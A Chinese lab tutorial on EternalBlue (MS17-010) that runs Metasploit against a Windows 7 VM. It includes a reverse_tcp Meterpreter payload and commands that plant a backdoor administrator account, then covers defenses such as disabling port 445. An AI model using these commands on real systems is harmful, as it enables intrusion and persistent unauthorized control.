EternalBlue【永恒之蓝】漏洞详解(复现、演示、远程、后门、入侵、防御)内容丰富-深入剖析漏洞原理-漏洞成因-以及报错解决方法-值得收藏!

漏洞背景:

1.何为永恒之蓝?
永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。

2.什么是SMB协议?
SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。

3. SMB工作原理是什么?

  • 首先客户端发送一个SMB negport 请求数据报,,并列出它所支持的所有SMB的协议版本。服务器收到请求消息后响应请求,并列出希望使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH,结束通信。
  • 协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SessetupX请求数据包实现的。客户端发送一对用户名和密码或一个简单密码到服务器,然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接。
  • 当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称,之后会发送一个TconX应答数据报以表示此次连接是否接收或拒绝。
  • 连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。

准备工作:

虚拟机:VMware
靶机(rhost):Windows7 (IP:192.168.244.133)
攻击机(lhost):Kali (IP:192.168.244.136)
所需工具:nmap、metasploit(MSF) 【工具均在Kali系统内】

漏洞复现过程:

主机发现

关闭防火墙和杀软

靶机关闭防火墙杀软等一切防御信息 否则nmap扫描不到

防火墙关闭路径
控制面板->系统和安全->Windows 防火墙

image.png

查看攻击机与靶机IP信息

查看攻击机与靶机的IP信息
攻击机:终端模拟器->ifconfig
靶机:win->cmd->ipconfig

image.png
image.png

进行Ping通测试

进行ping通测试
Kali使用CTRL+C快捷键进行终止命令进行

image.png
image.png

和上面两张图片一样结果的都表示Ping通成功

扫描存活主机以及开放端口

使用nmap扫描工具对目标机网段进行存活主机扫描以及靶机的445端口是否开放

image.png
image.png

可以看出目标机存活并且445端口为开放状态

入侵过程

开启postgresql数据库服务

以下命令均在Kali攻击机root终端进行!

开启

service postgresql start

查看是否开启

service postgresql status
image.png

此状态表示开启成功

初始化metasploit postgresql数据库

初始化

msfdb init
image.png

此状态表示初始化成功

启动MSF框架

Kali root终端输入

msfconsole
image.png

此状态表示进入MSF框架成功

利用探测漏洞模块

db_status #查看是否进入MSF攻击服务
search ms17_010 #查找探测模块
use auxiliary/scanner/smb/smb_ms17_010 #利用探测模块
show options #查看配置参数
set rhost 192.168.244.133/32 #设置探测主机段
set threads 20 #设置探测线程
run/exploit #执行探测

image.png
image.png

探测出likely表示可能存在漏洞!

利用永恒之蓝模块

use exploit/windows/smb/ms17_010_eternalblue #利用ms17_010永恒之蓝漏洞
set rhost 192.168.244.133 #设置攻击目标IP
set payload windows/x64/meterpreter/reverse_tcp #设置攻击载荷(木马信息)
set lhost 192.168.244.136 #设置监听主机IP
set lpost 445 #设置监听端口
run/exploit #执行攻击

image.png

运行成功后会出现meterpreter>
Meterpreter俗称"黑客瑞士军刀"

想要深入了解可以看以下内容

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功后的攻击载荷使用。它可以在触发漏洞后返回一个由攻击者控制的通道,以便远程执行命令。

Meterpreter的功能丰富,例如添加用户、隐藏某些内容、打开shell、获取用户密码、上传和下载远程主机的文件、运行cmd.exe、捕捉屏幕、获取远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等。此外,Meterpreter可以躲避入侵检测系统,在远程主机上隐藏自己,不改变系统硬盘中的文件,因此HIDS(基于主机的入侵检测系统)很难对它做出响应。

Meterpreter还可以简化任务创建多个会话,利用这些会话进行渗透。在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。其中,攻击者与目标设备中Meterpreter的通信是通过Stager套接字实现的。

Meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。此外,Meterpreter还支持Ruby脚本形式的扩展。

远程查看靶机信息和捕捉屏幕

sysinfo #查看靶机系统信息
getuid #查看靶机用户身份
screenshot #对靶机当前屏幕进行截图

image.png

需要注意的是最后一部屏幕截图保存到了根目录下
根目录下受权限保护可能查看不了图片
解决方法有两种改权限或者复制到桌面上 在这里讲的是第二种方法

cp EoiLSMEC.jpeg '/home/kali/桌面/flag1.png'
image.png
image.png
image.png

进入靶机控制台

shell #进入靶机cmd终端
image.png

成功进入靶机C:\Windows\system32路径下

对靶机进行后门植入

#创建新管理员用户
net user baimao 123 /add
#将baimao用户加入到本地管理员组当中
net localgroup administrators baimao /add
#查看本地管理员组当中的用户成员
net localgroup administrators
#查看此路径下的所有文件和目录
dir

image.png

与图片中信息相同就代表后门植入成功
exit可以退回meterpreter路径下

查看靶机当前用户

whoami
image.png

创建文件夹

mkdir baimao

image.png
image.png

exit可以退出MSF框架

如何防御

开启防火墙

防火墙开启路径
控制面板->系统和安全->Windows 防火墙

image.pngimage.png
image.png

禁用靶机139和445端口

查看靶机445端口是否开启

netstat -ant
image.png

可以看到445端口是开启状态

禁用靶机445端口路径
控制面板->系统和安全->Windows 防火墙

image.png
image.png
image.png
image.png
image.png
image.png
image.png
image.png

禁用server服务

win+r 运行
输入services.msc

image.png

关闭不必要的服务

关闭服务路径
控制面板->系统和安全->Windows 防火墙

image.png
image.png

根据需要可以选择关闭与否

注册表关闭445端口

win+r 运行
输入regedit进入注册表

找到此注册表路径
根据自己系统位数进行修改64位就选择QWORD
HKEY_LOCAL_MACHINE\System\Controlset\Services\NetBT\Parameters

image.png

重命名为SMBDeviceEnabled

image.png

右键->修改->数值数据的值为0(0代表关闭,1代表打开),点击确定,完成设置 。

image.png

重启之后查看445端口是否关闭!

可以看到445端口已经不见了!

安装杀毒软件

360安全卫士与火绒安全软件成功阻止了永恒之蓝!

大家想要了解的,可以参考下!
360安全卫士和火绒安全软件都是知名的电脑安全软件,具有多种防护功能。
360安全卫士是一款全面而高效的电脑安全防护软件,它拥有强大的查杀能力,可以检测和清除电脑中的病毒、木马、恶意程序等安全隐患。同时,它还提供了多种实用的功能,如实时监控、木马查杀、漏洞修复等,可以帮助用户保护电脑安全,提高使用体验。
火绒安全软件则是一款以防护为主打功能的电脑安全软件,它拥有自主知识产权的新一代反病毒引擎,能够检测和分析恶意程序,提供全面的防护功能。此外,火绒安全软件还拥有钩子扫描功能,可以快速扫描指定进程,发现潜在的安全风险。

最后总结

2017年永恒之蓝漏洞,编号为ms17_010漏洞。
现在只有一些低版本的电脑没有打ms17_010的补丁,windows7 以上版本几乎都没有这个漏洞了。
虽然如此,此漏洞非常经典,现如今仍有很大的学习漏洞原理以及深入研究防御策略都有很大的借鉴和学习研究的意义。
让大家可以对网络安全更加重视,网络安全刻不容缓,让我们为国家网络安全的建设共同努力!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/579954.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2015年第四届数学建模国际赛小美赛B题南极洲的平均温度解题全过程文档及程序

2015年第四届数学建模国际赛小美赛 B题 南极洲的平均温度 原题再现: 地表平均温度是反映气候变化和全球变暖的重要指标。然而,在以前的估计中,在如何界定土地平均数方面存在一些方法上的差异。为简单起见,我们只考虑南极洲。请建…

mysql-exporter监控部署(k8s内)tensuns专用

一、前言 在k8s内部署mysql-exporter监控需要用到deployment、service服务 二、部署 在被监控的mysql中创建监控用户 mysql -u root -p GRANT PROCESS, REPLICATION CLIENT ON *.* TO monitor% identified by 12345678; flush privileges; 创建mysql-exporter服务的yaml文件存…

微信小程序预览pdf,修改pdf文件名

记录微信小程序预览pdf文件,修改pdf名字安卓和ios都可用。 1.安卓和苹果的效果 2.需要用到的api 1.wx.downloadFile wx.downloadFile 下载文件资源到本地。客户端直接发起一个 HTTPS GET 请求,返回文件的本地临时路径 (本地路径),单次下载…

振弦采集仪在地铁隧道施工监测中的应用与分析

振弦采集仪在地铁隧道施工监测中的应用与分析 振弦采集仪是一种常用的地铁隧道施工监测工具,它通过测量隧道结构中的振弦变化来判断隧道施工的稳定性和安全性。振弦采集仪的应用与分析可以帮助工程师监测地铁隧道施工过程中的变化,及时发现可能的问题并…

test-03-java 单元测试框架 testNG 入门介绍 junit/junit5/testNG 详细对比

拓展阅读 test-01-java 单元测试框架 junit 入门介绍 test-02-java 单元测试框架 junit5 入门介绍 test-03-java 单元测试框架 testNG 入门介绍 junit/junit5/testNG 详细对比 test assert-01-Google Truth 断言 test 系统学习-03-TestNG Spock testng 入门使用教程 开源…

探索 WebRTC:数字世界的实时通信魔法

前言 在当今日常生活中,我们期望能够随时随地与朋友、同事或家人进行实时沟通。WebRTC(Web实时通信)技术就像一种魔法,让这些交流变得无比便捷,而且完全在浏览器中实现,无需下载任何额外应用或插件。 Web…

对接日志服务器系统,将业务服务器、数据库服务器等系统日志rsyslog统一推送或接入至日志服务器进行检测及日志的抓取分析。

1、客户端业务系统服务器配置,系统日志配置文件默认存放在/etc/rsyslog.conf下; 2、打开系统日志推送配置(其它邮件日志、开机日志、消息日志等都可统一接入) 3、配置推送地址和协议 这里特别说明一下:【注意&#xff…

stm32学习笔记:TIM-定时中断和外部时钟

定时器四部分讲解内容,本文是第一部分 ​​​​​TIM简介 基本定时器 时基单元:预分频器、计数器、自动重装载寄存器 预分频器之前,连接的就是基准计数时钟的输入,由于基本定时器只能选择内部时钟,所以可以认为这根…

Unity预设体

目录 预设体是什么? 如何创建预设体? 如何修改预设体? 如何删除预设体? 预设体是什么? Unity中的预设体(Prefab)是一种可重复使用的游戏对象模板。它允许开发者创建一个或多个游戏对象&…

DVWA靶场中的xss-反射型xss、存储型xss的low、medium、high的详细通关方法

目录 1.DVWA反射型xss (1)Low: (2)Medium: (3)Heigh 2.xss存储型 (1)Low: (2)Medium (3)He…

实现 Spring Boot 项目热重载,无需重启,省时省力

实现 Spring Boot 项目热重载,无需重启,省时省力 插件介绍 通过 JRebel 插件 实现 Spring Boot 项目热重载。类似于前端 Webpack 热重载功能 无需重启,省时省力 安装插件 打开 IDEA 在插件中搜索:JRebel 安装成功后重启IDEA …

1.SQL - 概述

1. SQL语句分类 • 数据定义语言:简称DDL(Data Definition Language),用来定义数据库对象:数据库,表,列等。关键字:create,alter,drop等 • 数据操作语言:简称DML(Data …

一起玩儿物联网人工智能小车(ESP32)——17. 用ESP32的ADC功能读取电源电压

摘要:本文主要介绍如何使用ESP32的ADC功能,读取物联网智能小车的电池电压 今天介绍一个ESP32的新功能——如何利用ESP32的引脚,采集模拟量信息。在前面GPIO的学习中我们知道,可以利用GPIO的引脚读取外部设备输出的高低电平信号&am…

什么是LangChain

我的新书《Android App开发入门与实战》已于2020年8月由人民邮电出版社出版,欢迎购买。点击进入详情 LangChain 是一个旨在简化使用大型语言模型(LLM)创建应用程序的框架。它提供了许多功能,使与LLM的合作变得更加容易&#xff0c…

【Mybatis】我抄袭了Mybatis,手写一套MyMybatis框架:学会使用mybatis框架

上一篇文章中,我们学习了通过JDBC与MySQL进行交互。如果我们平常在项目中使用mybatis框架作为我们的orm框架。这一次我们就来学习如何使用框架。我们项目中使用到maven。我们直接通过pom文件的方式给他引入进来。 MyBatis是一个简单而强大的持久层框架,…

SParC数据集介绍

导语 SParC是Text-to-SQL领域的一个多轮查询数据集。本篇博客将对该数据集论文和数据格式进行简要介绍。 SParC数据集概述 SParC是一个跨领域的多轮Text-to-SQL数据集。它包含有4298个问题轮次,大约有12k的自然语言问句到SQL标注的Question-SQL对。这些问题来自于…

JavaWeb的Servlet的入门和使用方法

1 什么是Servlet Servlet是Server Applet的简称,是用Java编写的是运行在 Web 服务器上的程序,它是作为来自 Web 浏览器或其他 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。使用 Servlet,可以收集来自网页表单的用户输…

提升FTP上传速度的方法(提升FTP下载速度的技巧)

在企业日常经营中,快速上传和下载文件至关重要。然而,在使用FTP(文件传输协议)进行文件传输时,速度可能成为瓶颈。为了提升工作效率,以下是一些建议,可以帮助企业提高FTP上传下载速度。 1、确保…

BERT的学习

BERT 1.前言 self-supervised learning是一种无监督学习的特殊形式,算法从数据本身生成标签或者目标,然后利用这些生成的目标来进行学习。(也就是说数据集的标签是模型自动生成的,不是由人为提供的。)例如&#xff0…

万能刷题小程序源码系统:功能强大+试题管理+题库分类+用户列表 附带完整的搭建教程

随着互联网技术的不断进步,线上学习已成为越来越多人的选择。刷题作为提高学习效果的重要方式,一直受到广大学生的喜爱。然而,市面上的刷题软件虽然繁多,但功能各异,质量参差不齐,使得很多用户在选择时感到…